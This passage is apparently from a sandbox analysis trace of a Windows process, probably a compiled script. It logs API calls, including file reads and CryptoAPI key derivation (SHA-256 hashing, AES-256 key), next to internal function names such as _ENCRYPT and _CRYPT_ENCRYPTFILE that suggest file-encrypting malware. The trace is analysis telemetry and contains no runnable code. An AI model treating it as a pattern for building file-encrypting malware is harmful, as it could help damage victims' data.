lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.061] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.061] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.061] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.062] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.062] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.062] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.062] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.062] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.062] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.062] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.062] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.062] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.062] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6878) returned 1 [0027.063] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.063] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.063] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.063] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1ade, lpOverlapped=0x0) returned 1 [0027.063] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.063] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1ade, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.063] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6878) returned 1 [0027.063] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.063] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.063] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.063] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.064] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.064] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.064] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.064] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.064] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.064] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.064] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.064] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.065] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.065] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.065] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.065] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.065] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0027.066] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.066] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.066] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.066] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.066] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.066] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.066] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.066] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.066] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.067] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.067] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.067] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.067] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.068] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.069] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.069] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.070] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.070] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.070] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0027.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417ac20, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0027.070] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0027.071] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.071] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.071] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.071] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.072] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.072] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418bb70, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.072] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.072] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.072] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.072] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.072] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0027.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.072] PeekMessageW (in: 